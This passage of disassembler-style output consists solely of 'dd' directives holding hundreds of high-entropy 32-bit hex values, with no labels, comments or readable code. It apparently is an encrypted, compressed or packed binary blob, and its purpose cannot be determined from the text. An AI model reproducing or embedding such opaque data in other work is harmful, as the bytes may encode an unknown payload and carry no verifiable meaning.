0FA3E706Fh dd 41AB3E05h, 32172D0Dh, 1E4E2018h, 0C8BCC254h, 7A0548B5h dd 0E7F082A9h, 68B0351Eh, 0E439F4C9h, 0ED803D64h, 0FAEF5173h dd 0B6F634CFh, 0F962B10Ch, 41AB2A0Bh, 0C5367C26h, 11F8DB72h dd 0DC250FE1h, 2D7E5329h, 6C020FD4h, 7C12BB7Dh, 5DCFC2C3h dd 0D0088308h, 0A2CB3C43h, 0E2683781h, 2DEDDF0Bh, 0B50B710h dd 561A38EDh, 77F38180h, 0E915B070h, 5CEEA49h, 94C5805Ah dd 0D13E5FC2h, 80329F7h, 226A9D0h, 0B140F55Ah, 503D0F7h dd 298836CEh, 0AA60A825h, 8EE91C4Bh, 0B05D2D1Dh, 4EED6810h dd 888C8C56h, 0B90B9Fh, 9445C1BFh, 2EFA7CDDh, 4B81556Bh dd 4233A800h, 85A31B6Ah, 6C0112BEh, 0E923D06Fh, 987B2D5Eh dd 0BC4BEB48h, 0C128CBBh, 0C0B0DBBAh, 49A1A449h, 0F5C81E8h dd 0B23EC8B7h, 1F7EC4A4h, 36B90013h, 4753A411h, 7194F0A0h dd 0C018C22Fh, 4AC9E9FBh, 56D8AE86h, 18F39A82h, 150A8F68h dd 659CE815h, 46C201E4h, 95E9441Bh, 937BCD52h, 0FAB4A7E0h dd 4EC02E93h, 1E35CF81h, 0CE47FD7Dh, 0EF12122Fh, 59558198h dd 0F10431DCh, 0BA5CF968h, 598BE171h, 1E96E17h, 0A2B745D0h dd 0A84DD5h, 28B7685Fh, 576A999Fh, 0C07E9D30h, 40D3EDC9h dd 4AD2F921h, 0BAEC617h, 8031FD96h, 0C9852B5Fh, 0DE5A07ABh dd 5F0E7431h, 665A2B85h, 5C51A4AFh, 365237DEh, 76B88DB0h dd 751F098h, 7D411325h, 71325105h, 0CAA13A73h, 484375F0h dd 42040A7Eh, 0FF4A821Fh, 0CEE93003h, 98467E90h, 0D6050714h dd 8F663749h, 3B1D03CDh, 0B21554A4h, 0D86816EFh, 1827F361h dd 0AD1BC136h, 51A8A63Eh, 132F9854h, 0C7B7AE16h, 685F89C9h dd 0CAF111F0h, 0BF05D52h, 0AC22CBC8h, 0F9D658BDh, 41401E6Ch dd 857DF677h, 0A2BB50D2h, 0C88914F0h, 0B99B7DBBh, 0C912DBA5h dd 3B594054h, 0C57CB875h, 2D3E68B0h, 5B3A6695h, 0D2FCA35Fh dd 44EBD213h, 92F2E901h, 89965928h, 83EB47FEh, 1CD4BB1Eh dd 0DA942CE5h, 7AC8722Bh, 6B027F19h, 3968D301h, 0BF49A06Fh dd 6ABA6280h, 948986Ch, 990075DCh, 50152C8Eh, 101FDF90h dd 0E945E2D4h, 0C152DA54h, 6B72DDBEh, 10C4B3A2h, 9DBA1236h dd 0E901E696h, 9862D065h, 0B21C184Ch, 0BED312FEh, 500454F6h dd 8C6EA068h, 575FB131h, 0C7FFCEC7h, 23491D04h, 8633B0BAh dd 4584A50h, 12A0466Ah, 131B9D9h, 0B0291224h, 4A67F0D7h dd 0FB56566Eh, 902D6F04h, 0C83B4B04h, 5B58FD2Dh, 685AC1E4h dd 0F3894CDDh, 3B6891C4h, 0AA58537Bh, 5D121050h, 90CBA00h dd 0EA811A4Eh, 0D7798301h, 752AE948h, 2EC0DD3Ah, 4D2D55E2h dd 883294D5h, 245055E0h, 26F19B7h, 6E9E5230h, 6F0D11C0h dd 0E90F1404h, 9CBF3DFCh, 0F9D08E6Dh, 0EE8102C3h, 0E1FB5C05h dd 1BFE9052h, 81D7A0C1h, 922E2D0Eh, 0F02A28CCh, 4F404982h dd 0BB660E53h, 0C9A7495h, 0D25A9AC0h, 0EEB1FCBDh, 0E7E2BB72h dd 0FB6DE985h, 0A7BAB812h, 0BF31C4E9h, 461B1412h, 5F202B31h dd 0B7125159h, 98BA0056h, 3D18251Dh, 6BC16F22h, 0DF88AEFDh dd 4B1D4741h, 66F9CA21h, 0FA3DC53Ah, 0E9C346A2h, 0EF04024Ah dd 0BC35F8BBh, 88F38D80h, 7674271Ah, 0BB30515Ch, 9E332EBh dd 0DD890957h, 0B679987h, 8EBCDD5h, 2D01A0F3h, 75531968h dd 2FA85DD6h, 0EE3F5047h, 7B80D494h, 311144C7h, 685E09F7h dd 101A5509h, 254B3E60h, 2BC181C0h, 344FDB08h, 18CCD929h dd 558E1C08h, 0F07E1420h, 0D508A2E9h, 3045A590h, 202A73B5h dd 9A5597ADh, 95F15F5Dh, 162A8469h, 0B38CAA17h, 42081E05h dd 0F80185F2h, 0E807122Dh, 500BF580h, 6447DF8h, 91E47620h dd 120808C8h, 0BCBB800h, 7C01E7D9h, 9DAA35E8h, 345EAF73h dd 0D4708089h, 1C858388h, 0DFDA7583h, 61BFBDE8h, 72123D17h dd 806CADF1h, 4E1EB25Eh, 4AA9CFBAh, 2024E88Ah, 3AF4607Dh dd 98C02731h, 3DAE2D5Dh, 81075030h, 0E507A305h, 0C7140Eh dd 2C292640h, 0BE832FE9h, 5AFD5E20h, 494F0A24h, 881D03A2h dd 7DBBCBFEh, 5E49D9FCh, 0DC575ABCh, 17AF4633h, 0D18E56B7h dd 3BEC7E5Eh, 0BB68E9C2h, 0A4A1597Fh, 3E0138D2h, 9EE927F0h dd 6A916E0Fh, 0B3077C9Bh, 0A3D54E7h, 0AE6A9253h, 0EE06BDF9h dd 0D8283C1Dh, 3E0DC80Bh, 0E155E43h, 989C31DAh, 9FE908CAh dd 24647BBFh, 0FD8C1271h dd 4268C086h, 0BD0EA40Bh, 0C907C94Ch, 341F3C4Fh, 5AA3F160h dd 0E94D1232h, 0BF7AC4C3h, 0B826B08Fh, 534FC04Eh, 99B8644Bh dd 2D08B2D0h, 0C5A47929h, 15D9512h, 3768C397h, 0E7CC2F05h dd 7E9F6969h, 80A1808Eh, 6A2882EAh, 5870D48Bh, 0E91376D8h dd 2F54F1D1h, 0BAE430FCh, 79846B3h, 5362CA68h, 1290FC9Fh dd 0B5F8007Fh, 0C74D8327h, 660BFE0Ch, 0FF97D94Fh, 0C98F5B6h dd 5941704Eh, 3FD40A83h, 0C0E7DBECh, 0F67CED17h, 0ABA01A9h dd 0E310D1B5h, 10DE94E9h, 0FC8B948h, 42BA7BD0h, 75279D1Bh dd 57255BDCh, 0F2A2773Ch, 660E1CDEh, 0D7D05945h, 5D978B60h dd 15F6583h, 7368D24Eh, 0C461284Fh, 0EC17CE6Ch, 7924873h dd 79ED1183h, 8C44F6EFh, 7FCF387h, 0F0D9EC74h, 0EF3109CDh dd 516199E9h, 70F53B05h, 9A1AAA32h, 0F4001A4Bh, 0D1885102h dd 5BFACBE4h, 0A2F66C40h, 506DC1FCh, 0C16BC8FDh, 22D4C6CDh dd 12047FFEh, 0D9F73D7Fh, 791A60C0h, 0F8AA5EC0h, 0E9445052h dd 2D3DA859h, 0BFD1DE09h, 0DEB5769Eh, 94684587h, 8A934419h dd 53891E99h, 2196D536h, 0A6777BA2h, 2C5E0162h, 65F3D691h dd 0DFCFEF52h, 276C688Fh, 0D2A9D67Fh, 0E6E97F59h, 7101B48h dd 58B11F6Dh, 474CD95Eh, 9FDD9F41h, 4BD55D9Ah, 0E076CAC7h dd 828B92A8h, 90E67AFFh, 944BB273h, 42BE2673h, 0CE7D1B48h dd 9F8976Fh, 7A470703h, 0B0BBB48h, 0D9EAE90Bh, 35D62FA0h dd 0BE327B5Ah, 50310BD2h, 55503069h, 60A7F795h, 0C42D830h dd 4E04742Bh, 930A8B7h, 5D01EF83h, 0DEE95707h, 515F5898h dd 0EF06BAACh, 5B00190h, 4E76170Ch, 0FE691730h, 16087C10h dd 5A4B0EE9h, 0E1DE5C87h, 36772668h, 16AE4B36h, 10D7A6CAh dd 0BD026216h, 61E33B7Ah, 0B42CC45Ch, 30AF1D13h, 108EB883h dd 2D2FA23Ch, 857A85C7h, 4ED1CAAAh, 55B118ECh, 95E22F19h dd 48B82DC0h, 399C0374h, 5E0D0720h, 24A0D9E9h, 46FCA77Ah dd 27274C95h, 9D6E58C9h, 155ED256h, 4817EA68h, 26CC5732h dd 5F0B5190h, 70AD048h, 1C7EEBBBh, 0E5C8DF59h, 8F9D31E9h dd 0D5585A13h, 0FAEF50B1h, 8168F78Eh, 0EEE98330h, 8AA6BD5Ch dd 39A19B45h, 26A9305Ah, 0D46186C9h, 0D9448Fh, 0A5490268h dd 35580B2Eh, 827FB6FDh, 9361014Fh, 3F408359h, 0B29AF511h dd 60426D53h, 0D3056AFDh, 820E0922h, 0A564677Eh, 79EECD95h dd 0F43BE026h, 9333F595h, 47383405h, 12C43A72h, 0EF4A88F8h dd 42083F1Ah, 2A79F5B8h, 58215A30h, 296C3B26h, 3E084268h dd 0CEFD2C92h, 237587Eh, 634333EDh, 2D68DF58h, 7595671Ch dd 9BB4699h, 55E93684h, 0EC49EA9Dh, 3D417505h, 47A82E2Dh dd 0E98C593Bh, 0C5379CFDh, 59F1A898h, 282430EEh, 2602090h dd 921845FEh, 0D5212E4Ah, 418F3EAAh, 0E982BC7Fh, 76796A95h dd 0A0834669h, 6E623310h, 28DA6C4Eh, 815D0804h, 1A32A4Ch dd 52EC21B8h, 9A3FF43Eh, 1AE09DD6h, 34A588B4h, 9AF4963Eh dd 829797BFh, 0D6906DB3h, 4A0C76AAh, 92D10174h, 7B3D003Ch dd 0E9DDF71Ah, 2AC72326h, 0C77525Eh, 86B9683Bh, 9D728294h dd 85DF2928h, 2DEB5497h, 0ED253378h, 601D7453h, 5B880893h dd 52A58DBDh, 0C04C043Ch, 8F65A86Ah, 5ADE028Fh, 0C8743C4Fh dd 0FD1EDF25h, 899DD197h, 12C20BE9h, 0B287A07Fh, 4B063F14h dd 847EBD5Bh, 52E79910h, 7D258052h, 0D25CED4Ah, 266DD09h dd 0D49C62F6h, 98DC629Dh, 0AC654EFEh, 0EBF906BFh, 0FE778559h dd 4F026F4Ah, 0D6453868h, 4BF862B6h, 0F72850F3h, 7881DE40h dd 0F72F4CCDh, 74560C60h, 0F5F87F9Ah, 0BF76F374h, 44B574Ch dd 1CA83D86h, 259BEDEEh, 70615222h, 7F6112EBh, 115AB044h dd 8560F841h, 2903AC3h, 575305CEh, 0B238AF48h, 0AEC901DCh dd 492F7A05h, 55D13019h, 73446817h, 23E61560h, 0E94C0B05h dd 99575970h, 832062C7h, 0E4839C76h, 0E3E28057h, 0D180AA1Ah dd 803505E8h, 884A8D02h, 1241972Fh, 0DDBBC3Ch, 5156F0F2h dd 259CE8Bh, 5EC0C303h, 68DC499Dh, 9097CE42h, 7945C58Bh dd 0F7641211h, 0B1F612D5h, 0E62C3F56h, 0D15B5BD5h, 2A13905Fh dd 68527730h, 0F7344B92h, 5DE69347h, 0B441F84Bh, 94DB3BEh dd 906213E9h, 85BBD8Dh, 0C1295221h, 63BD0820h, 0D17BE9B4h dd 0FECAB720h, 0E908A0EAh, 1366940Ah, 190DBB09h, 0B06FA90Bh dd 0C24B31CDh, 0F6330D29h, 2D8A5828h, 0D873305Eh, 0A83E0539h dd 42FEE950h, 34EE8020h, 0B63FA87h, 880BC7D5h, 6804A048h dd 30AE713Dh, 0FD38BB57h, 0FA876C1Ch, 761DEF93h, 0E4E577A5h dd 96D32E3Ch, 5540501Ah, 0EA399378h, 91F293A5h, 0E0B2F4BBh dd 7ECC2C2Fh, 95B50B42h, 59997071h, 77220E44h, 545F0092h dd 68038819h, 9F9A6672h, 5B54520h, 195C1CB9h, 4E6FA816h dd 0C6008E8h, 6B8E7F86h, 572EE80h, 44E92D13h, 5B26B4F7h dd 9B552AB0h, 6A25319Ah, 0DE45407Dh, 681BD0AAh, 4D96430Ah dd 0F8D25A65h, 0BD7C7A59h, 2D01175Eh, 8783BE8h, 780AA12Eh dd 0F20E7B33h, 0EB734B5Ch, 9FDE58ABh, 1AC2FCFEh, 0D2F15F4Dh dd 0EC31F909h, 4FB0F4E3h, 70E33Eh, 977B10BFh, 7AB843h dd 2993829Eh, 4AA7E9F8h, 44EE71B5h, 6DC1743Ch, 5001648Eh dd 0F90070B4h, 0F02796B6h, 0DF0755D1h, 0F545D542h, 0C0957044h dd 600F06D9h, 0F21E0C50h, 0BCA10D45h, 4AAA623Dh, 5E990DAEh dd 69FF3A0Eh, 13D22E3Ah, 7C9AE0B3h, 0C2709728h, 0FE7BB70Fh dd 5EE864C7h, 471B28B9h, 0F8E86540h, 0D64F65D3h, 9350EAE8h dd 6288260Eh, 9F8A0B47h, 0DF98F459h, 256BE488h, 0C3581052h dd 29556E05h, 0C084F901h, 4A850810h, 0C978CEFBh, 7157C260h dd 2ED3605Eh, 0E91807C5h, 0C727508Fh, 0CB351A68h, 94F60C46h dd 8EC808A4h, 984A2EA8h, 52C932E9h, 3BC09AD6h, 2337102h dd 3ADD6853h, 2077579Eh, 0B63EF36Dh, 0E98B1238h, 0FEEEA1A2h dd 0C068D3D7h, 1AB1685Fh, 0F4839895h, 0EF5E96CDh, 0B9322113h dd 76C6044Bh, 3F0A0BACh, 3C571F2Ch, 0F8C9D33Ch, 0CAF3F121h dd 0E73A427Bh, 10602180h, 9F4F6851h, 0E915F6F3h, 29149343h dd 0AD4FA9D7h, 0A45A2998h, 3F85880Ah, 2FD70B3Ch, 0A302FD2Ah dd 0CC7768B6h, 8C122721h, 221C2449h, 0CC267C9Eh, 6E89A4A8h dd 3198E614h, 541A5138h, 6DFE2E59h, 5DF83B81h, 0B785F289h dd 78D8C664h, 0D1447D4Bh, 0F8EA59CDh, 0E26E8537h, 455DFFC8h dd 0BC893E0Fh, 0F4641407h, 2D12CA13h, 5C56345Ch, 832F9530h dd 39AD3868h, 9731A52Ch, 95E4E871h, 22E9097Dh, 0C5FFFFADh dd 529F9634h, 8123FC5Fh, 0AED2F57Fh, 803FC52Fh, 986B839Eh dd 0F3876F0Ch, 2443064Eh, 65CEBD1h, 9174A9E9h, 7A6AF607h dd 0CE606E01h, 9F91E2Eh, 84C4E928h, 965CA69Ah, 38F1609Fh dd 0E3C1D4B4h, 0EA2E04FDh, 4584747Dh, 98634668h, 5E5DF32Ch dd 16725D0Eh, 0C1E46B7Eh, 41185529h, 533AB12Fh, 31971A10h dd 3B455D42h, 0D9074CF9h, 6F6FC271h, 2FE20A20h, 0D25E93Dh dd 0BDEFE820h, 3B8E016Eh, 369AF7B9h, 2BEC3BE7h, 506D6030h dd 5917EAB8h, 54A07529h, 0CA810242h, 4AD2E70h, 0E6CDF0F7h dd 362C2D05h, 0A90216D6h, 0F4235B1Ah, 93A00969h, 28A5F30h dd 4B257BA4h, 59277C25h, 5C9C2C53h, 0DEF85A6Bh, 0F46F1D58h dd 2C0AC0D8h, 7FB0E04Ah, 211D3A9Ah, 1A44915Fh, 1A8C2B95h dd 0EF7B5B1Eh, 0F47C1145h, 0D329F3EBh, 53CB5FA9h, 7D086AFBh dd 0C4412F3Dh, 0E6803B5Fh dd 92C4335h, 0F2EFE977h, 0CCB0667Bh, 95CE1630h, 0C6345DE1h dd 6297885Ah, 28205564h, 2B6C7B4Dh, 0D0AA534Ah, 654E68EAh dd 28B86EE1h, 99CE90F4h, 2717D319h, 6E0FE1C1h, 0EE2D111Eh dd 0B1854CD9h, 7A805154h, 7288527Eh, 5AD513FAh, 0E6B0AE5Bh dd 25C173F5h, 43D5DCC3h, 959ABE2h, 58E94108h, 0C9817AFCh dd 0D164BD5h, 131CF1D8h, 0EA7C77B9h, 915A1CCBh, 0F071C1FAh dd 8B9F10F5h, 0D5688978h, 18C6AF0Ah, 36EB2F77h, 99E2D01Eh dd 0AEC232D2h, 5125E05Bh, 77459F7Fh, 0DDD49D0Bh, 0EA715D99h dd 9E047AAFh, 43BC848h, 27DE0B16h, 86550AAh, 0E27D0C69h dd 0F800FDDAh, 16A35439h, 4C0F77Ch, 1E5FE681h, 77DAA257h dd 0EBE47A60h, 0CBFBFC24h, 0C10A9B34h, 9398A02h, 5D080F69h dd 0AA349A0Fh, 1B17B009h, 2DDD14Ah, 88D54CCh, 0CF30F14h dd 998B8CAh, 188B06E3h, 0DC01EBDBh, 1C242A9h, 4B4A2C6Ah dd 4AD38718h, 73F79306h, 0E0AAA3D0h, 1703A80Ah, 20D1C1E9h dd 0AD51FD11h, 0E6A4794Fh, 7DB929Ch, 5BB1C8BFh, 0A325A6A0h dd 0C13BDD95h, 0C7D58C9h, 0B1A64EE9h, 0E5353A14h, 507CC622h dd 0ED5C4F38h, 4CDCC67Eh, 10C60493h, 0AA071D45h, 0D795A605h dd 52E1E644h, 5FC4C880h, 0DE609FCFh, 4F1F3D42h, 49D4D110h dd 588605BBh, 0C14E74C6h, 899BC21Dh, 85ACC1CAh, 5689CF22h dd 0EBE5A3D6h, 0F3122EA6h, 5ECC8C49h, 0C7809DB4h, 15CC20EEh dd 4152F851h, 1810381Fh, 0C26D8D5Fh, 621B1247h, 0B831016Bh dd 2E64080Bh, 71A1091h, 57CABE00h, 0C23BA427h, 5A5949F8h dd 44535A8Bh, 7AEAF048h, 6794161Ah, 0E215875Ah, 2F587F69h dd 262C0401h, 7DF5E90Eh, 975BB33Ah, 3ABB06AAh, 683C0E9Ah dd 23FDE3C8h, 0EFDB170Ah, 9681ED02h, 588657A8h, 0C5072772h dd 384C02B4h, 8505B8B3h, 9FFEB7EBh, 4B0BE98Eh, 0D7D4C282h dd 0CA20CBEEh, 5A5D2546h, 641632DEh, 0D2C471AEh, 31B31314h dd 1958012Fh, 0DF213BD9h, 0EE11C920h, 64B67108h, 1BFE5FE5h dd 5648A3BAh, 2F8E0627h, 40C7A72h, 74FCED02h, 29D7C389h dd 65D5E998h, 20F2EC9h, 71545189h, 7E688458h, 0BECBEB49h dd 0C665BB92h, 0A2C23C71h, 5B92F32Bh, 92432521h, 5FBB1A83h dd 0FE9DC219h, 0DD536E83h, 0C081C944h, 822A27BEh, 667D4465h dd 3E2930E5h, 8D18F38Dh, 3E17153Dh, 1BAA7D9h, 2DB735D4h dd 0F66411E9h, 42DEBD01h, 27876E5Ah, 0B1141B71h, 35A28F8h dd 5CC3D2BCh, 0C593E831h, 68550804h, 0FAA347B6h, 2FB9B710h dd 0E297DE21h, 0A3C4814Bh, 5F3ADC03h, 0E9EF2971h, 1A8C7863h dd 8F1E5058h, 7321241Fh, 5629F7E5h, 0BC9CA584h, 85988FCEh dd 2F047334h, 5AAD89C7h, 0D7255E4Ah, 0EBEE57CEh, 0E3AB8D74h dd 4B611274h, 0C21F27E3h, 0F86A49DFh, 682F47D0h, 3DBBC6CFh dd 9200E0BBh, 0E9D83149h, 74B77A70h, 0E1F25B3Bh, 5E0BB8F4h dd 0B6455757h, 0B955F93h, 181B8CF0h, 0F753040h, 0DD1B18F8h dd 9D5D014Fh, 41B90A57h, 570E1C90h, 0FAC912BFh, 1D08EE90h dd 2781311h, 0A444F878h, 8858940Ch, 6F2C4EFAh, 0F5E2F109h dd 7497281Ch, 0CFE97029h, 8ABB444Bh, 0BD426580h, 902935F4h dd 0A9EF4BECh, 7B1427E0h, 565A8930h, 9D5E68F6h, 2B7EF4Ch dd 0A2090324h, 0FA6638C0h, 44AE0A7Bh, 24C40604h, 0EFF01701h dd 0D52135C1h, 0C098A23Ah, 8D73BCEDh, 0BF4D5E53h, 579E4502h dd 0AD8F404Eh, 566B776h, 3FDF1749h, 49861A5Ch, 6482FF0Ch dd 0B900ED81h, 581B4830h, 89026A0Ch, 4961E636h, 3F1F7A57h dd 20B4804h, 0A42145E9h, 94F2295Fh, 83848C6Eh, 849FD59Bh dd 5B8546FBh, 0CECE7BBh, 401703BEh, 0AC64B306h, 3EE89347h dd 4F948518h, 22FE50EFh, 0F4A0125Ah, 0B4E74C15h, 0F8E09125h dd 521EBBB8h, 33892026h, 3698FDA5h, 729DEE88h, 86D02087h dd 27B8660Fh, 0AEC42476h, 9E17BDAFh, 7E53FDC9h, 67F173D9h dd 0A5357E73h, 0CE5305FBh, 0D33EE848h, 17514BA0h, 0CD348663h dd 29D3015h, 23F42D0Fh, 0DDC54955h, 58125DCCh, 0A6AFD721h dd 6BE11019h, 1E816366h, 0D916820Bh, 2134E948h, 58803C64h dd 0C10FECF1h, 38EC058h, 1206E166h, 0A8DC3450h, 4B846880h dd 6493317Eh, 1500327h, 624EA1C0h, 0F3F78132h, 40470CD1h dd 5EE7B6C7h, 7C000B4Eh, 0B24CF635h, 7F589D64h, 5EF37B33h dd 0A63EB241h, 541A09A0h, 0B605FC3Fh, 0A4F5AD1Fh, 0F3BC85BFh dd 0BA8AE492h, 0BB1EDDB4h, 75B35085h, 845B20BEh, 304B670Dh dd 0D3D2C2EBh, 1C37B270h, 0D9943417h, 0F4346180h, 276BC98h dd 77101575h, 74B9F8F5h, 0CECDE431h, 4324108h, 44CBC47h dd 0ECEBBDB2h, 0F9B076CDh, 5D7262B5h, 5CD9CB5Ch, 3C3D883Fh dd 298D2311h, 40E0C11Fh, 0D4386A35h, 0A4246880h, 0CBC22D31h dd 0C0AF0FEBh, 2D1743CEh, 0F813AA8h, 86621955h, 92C58385h dd 906891C8h, 5DB0F8B4h, 0D9EA904Ah, 0ED2C3F73h, 98517255h dd 0BD90942h, 63F473BDh, 0A0A9050Fh, 0B5E9D589h, 808C9CC8h dd 7C48B268h, 46785E6Dh, 0BC7F76Eh, 97ED57CDh, 20420F08h dd 0BE560ED0h, 2B8052F6h, 0E903E6C1h, 72B08827h, 0D38009B6h dd 1D059B69h, 8DDEAA2Ah, 1AD9B902h, 4B70068Bh, 355D5CC0h dd 48131E4h, 3D0C21EEh, 7B3EF166h, 0DACF4991h, 0C1DD8F84h dd 8D6BC3EDh, 665CC113h, 0B3A721EAh, 0C7998041h, 717B26FAh dd 24449AC1h, 81BC59D4h, 0EEC088E6h, 7840ED06h, 4CEF4EA1h dd 5145913Dh, 1889885Ch, 0F1D75330h, 0CA501DACh, 1DE18014h dd 0E92BC005h, 5E567A5Dh, 17E59EACh, 0E9D14284h, 47DD3C2Dh dd 0CFFE0B48h, 0F3F2A3D0h, 0E91D58B5h, 5B602F25h, 0B2585B9Bh dd 0D225784Dh, 304C6605h, 0C5FDE6D6h, 3270950h, 73AED0C8h dd 62BFB129h, 795DFB01h, 0BB5697FFh, 35C15BD4h, 8321F8A4h dd 0CB92E4ECh, 0AEFCDF6Dh, 14BCE80Ah, 747FEE03h, 0BE0C0529h dd 0FF183776h, 3CFA4F48h, 27A75982h, 48EB32FFh, 15BA30C3h dd 7835BD8h, 0E95A910Bh, 499E7890h, 680B9A58h, 0FBD6432Dh dd 52F548D2h, 1F802F68h, 3F2706E6h, 0A8E6944Bh, 6A8E47h dd 85BF088Dh, 31141F68h, 2C8EC79Dh, 579030B4h, 60B55F52h dd 3559624Dh, 2C42F48h, 539A6CEAh, 0B167E57h, 477D5FFEh dd 17A0247Ch, 106CA28Dh, 5F3E34E8h, 89E69992h, 8F026B23h dd 0F6D1300Ch, 0C68809A7h, 5E933355h, 0BA74BB34h, 0E9F0C2E8h dd 408225A4h, 0E1074CA5h, 8470EC7Eh, 580B4011h, 71EF63D8h dd 0D2052B43h, 0A0BBC8B2h, 0CF4CE20Ah, 1EDD3B60h, 0F45C5CE4h dd 1905F612h, 12FB35ECh, 0EAD613CEh, 63EA7640h, 904F1203h dd 0D2F39D0Ch, 3607FE3Bh, 60E03544h, 82FB0B94h, 0E4786F69h dd 0BB685E09h, 4A9F4653h, 0E8C63501h, 4F730B91h, 0DA1E0E70h dd 2DB8106h, 0FFCA1FA8h, 78CB97F9h, 96C6B06Ah, 9BA04B2Dh dd 0E96D9C0Dh, 9A00145Ah, 0F75F5E57h, 4F6874D6h, 2CC23079h dd 36172605h, 0A6B0C183h, 0FF475E18h, 0F4AF2675h, 0F9909C52h dd 87EA064Ah, 817A5BEEh, 2696199h, 5FDCB102h, 5BDE69A2h dd 2C01F42h, 0EA2D40B9h, 0FCF65020h, 35FCB5A1h, 7505DEE2h dd 0F7202266h, 9C290F1h, 6BE36C14h, 60E0F25Dh, 4D31843h dd 1094F555h, 0DE1AC025h, 8822C15Ah, 3B0858E7h, 33E98B98h dd 0E821FA02h, 6F58C791h, 0E91E8EF3h, 5C59674Fh, 817ECA27h dd 0AE459CA1h, 60C7C03Bh, 505A9640h, 84014A9h, 0CBD2AE9h dd 91D150BBh, 2A989DC1h dd 0E125188Bh, 5182DE7Ch, 0A107F1C1h, 0E7131824h, 16EDE0Bh dd 0F15FAB3Fh, 9AB80B60h, 8A584A36h, 0C48C41C4h, 4E2C950Fh dd 522D23C1h, 954E801h, 26E96A0Eh, 0D3556062h, 0F8E8925Bh dd 0E8EE2746h, 724385EAh, 947BADEh, 2164EA4Dh, 0DF12675Ch dd 0AB5AD1E8h, 0AC4A9F2Eh, 5958855Dh, 0BFD79A93h, 0C9EF9AF4h dd 5E78FC87h, 0ECE5BBA8h, 6FC6341Dh, 0EB3F581h, 0E2E429Fh dd 0F7204920h, 3CA168D1h, 0AA4019BDh, 0BB50E30h, 1AE9F931h dd 68597460h, 0E6333627h, 45A8303Ch, 5101EFFBh, 755E8CB8h dd 0E6EF74EAh, 8661197Eh, 0A92BDADBh, 508E8916h, 41769543h dd 0C45EF953h, 94C15C9Dh, 0CA029306h, 42568639h, 8214BB61h dd 0C34FEAF9h, 0C9D78315h, 0F617025Fh, 7FD26784h, 97B6755h dd 0F3556C29h, 68580219h, 56C5269h, 0DB13CA0Bh, 4123F454h dd 6A100D68h, 0BD8409CAh, 4B5DB382h, 97C977F2h, 3F4CE529h dd 12536873h, 97573CBEh, 0B8CC3705h, 0FB7D5ACBh, 25E9566Ch dd 5C3B5F7Eh, 0C2F06B40h, 0AC8C3D4Fh, 0AC4C4B11h, 2AE2945Dh dd 0F845DD6Ah, 0DB4BEA3Ah, 72C7DF54h, 0E95E2DB0h, 560097F1h dd 28204D35h, 17EA404Bh, 9399C09Eh, 0E248FCE9h, 656A81A0h dd 56254119h, 4034B2F9h, 3F68B75Eh, 2B48DB17h, 647B12B0h dd 0D021CF09h, 1E2F5B90h, 3C968D3Bh, 0D7B22B0Ah, 67E6AF92h dd 25DBE91Eh, 3E1E65DDh, 660B4AB0h, 4E741A2Dh, 0B4F0293Bh dd 0A2BB0E05h, 0C331C1C5h, 123E2BE9h, 0C0DE80B3h, 0FA7C0C03h dd 18FCC431h, 2961515Dh, 2B292AE5h, 4D431827h, 2869A9DAh dd 92E6824Fh, 5C125B0Dh, 0BA230933h, 9FC874D9h, 0B2E1802h dd 0E1812036h, 0DE2631E7h, 0D42E985Eh, 2DAA0213h, 1AE30005h dd 7B1DA43Bh, 918251BFh, 0C0F701D3h, 4DE9FB15h, 6816D569h dd 0AD88BB3Ch, 203DB851h, 0FEB03691h, 77270C98h, 88FD7149h dd 65258A31h, 0A9D7201Fh, 0A96E5712h, 4AD1E4C8h, 0C57935CDh dd 7B12A258h, 0EC722955h, 0CE944672h, 2941044Fh, 200F0516h dd 0F04CBA6Dh, 658E313Fh, 975C14CBh, 67A6E2DAh, 8120B84Ch dd 0BF72B53Dh, 88C2F55Eh, 0E0D9755Ah, 0E3ECE845h, 5ECA09DEh dd 129B2BB0h, 0B5519A38h, 0CBAAA45Fh, 82E6D33Fh, 97ECA10h dd 2386866h, 6E4BEB1Fh, 280DA84Dh, 415C09D7h, 62780DE9h dd 0FC0E12A2h, 13AE44E1h, 43C2F846h, 62668DA8h, 0E33BB089h dd 0C881768h, 579FC606h, 5AC204A5h, 0C155B87Bh, 0C13936C5h dd 0B2BC2877h, 60134AE0h, 1702EB11h, 8549D001h, 92EF0178h dd 8277335Ch, 0AD461DF8h, 366A5D6Ch, 4B4B080Bh, 0ED5CED82h dd 90FD5740h, 76F14831h, 1A07597Fh, 9AB85000h, 0D1DFC11h dd 2759D20Fh, 0A47CA622h, 0CBFE1A3Eh, 97C18CC0h, 7C57C20Ch dd 827FD263h, 0D76E33DEh, 0D144E898h, 3CED8BC0h, 0C121B71Eh dd 8535D40Ch, 165C6061h, 0D1B39509h, 21AFE29h, 0C3215DE8h dd 311602DDh, 0CAE5D783h, 5B171124h, 0B2BF0FC0h, 180B126Dh dd 0F9678157h, 3A70C97Ch, 0A1C38D2Ch, 0D06F5F0Fh, 16396FC3h dd 0ED934D4Ah, 7654D09Ah, 0F35C5B01h, 0A10C41D7h, 0F42F1C28h dd 6C08C9B6h, 0EA752749h, 60FF1Dh, 0F1B4E1CFh, 10742449h dd 0AD705E09h, 0F637C0B5h, 888DB657h, 5E124DCBh, 7D659D09h dd 7E97E516h, 0A74862EFh, 0DCD3F269h, 35C96418h, 212F0FC1h dd 14D61FB6h, 0CA606BF8h, 25C5562Ah, 74BF855Ah, 0EBF01336h dd 0F0D61E4h, 1ADE30D3h, 0BA984B44h, 78F8C7CCh, 18579FF3h dd 9F3ED455h, 7E771092h, 0EF7A429Eh, 0F4BF9A46h, 67CB4F8Ch dd 6C53FFC1h, 1BC2062Ah, 0B0DD5C4Dh, 0FEFA4EB3h, 4C02534h dd 28750CB6h, 9E24571h, 98680BF5h, 0DF06603h, 11057600h dd 2D496318h, 342B14A2h, 3E67B815h, 0D2860B8h, 0EA7CC581h dd 43080C24h, 0A73BCA8h, 0E93F231Dh, 22232192h, 63FFD1B7h dd 0FC5E523Ch, 0F9064FE6h, 60A3C997h, 2CB55EE6h, 32FA7041h dd 0DA2F0896h, 2A50B563h, 7C3C982Dh, 5FF9E2FBh, 18696976h dd 0D6AF3513h, 2025E15Eh, 0EF3B68CDh, 0EBC12913h, 135BE78Eh dd 5F26DFAFh, 0BF0900BFh, 4149756Dh, 970931B0h, 22BEB68Ah dd 3517D45h, 0CEB9D787h, 7957C269h, 667D6BA4h, 92EF4D54h dd 756BC74Fh, 93A4A4E3h, 4AC40716h, 7FEA4F0Fh, 5AF86613h dd 0DBE1E9E0h, 0C3A7689Dh, 85091759h, 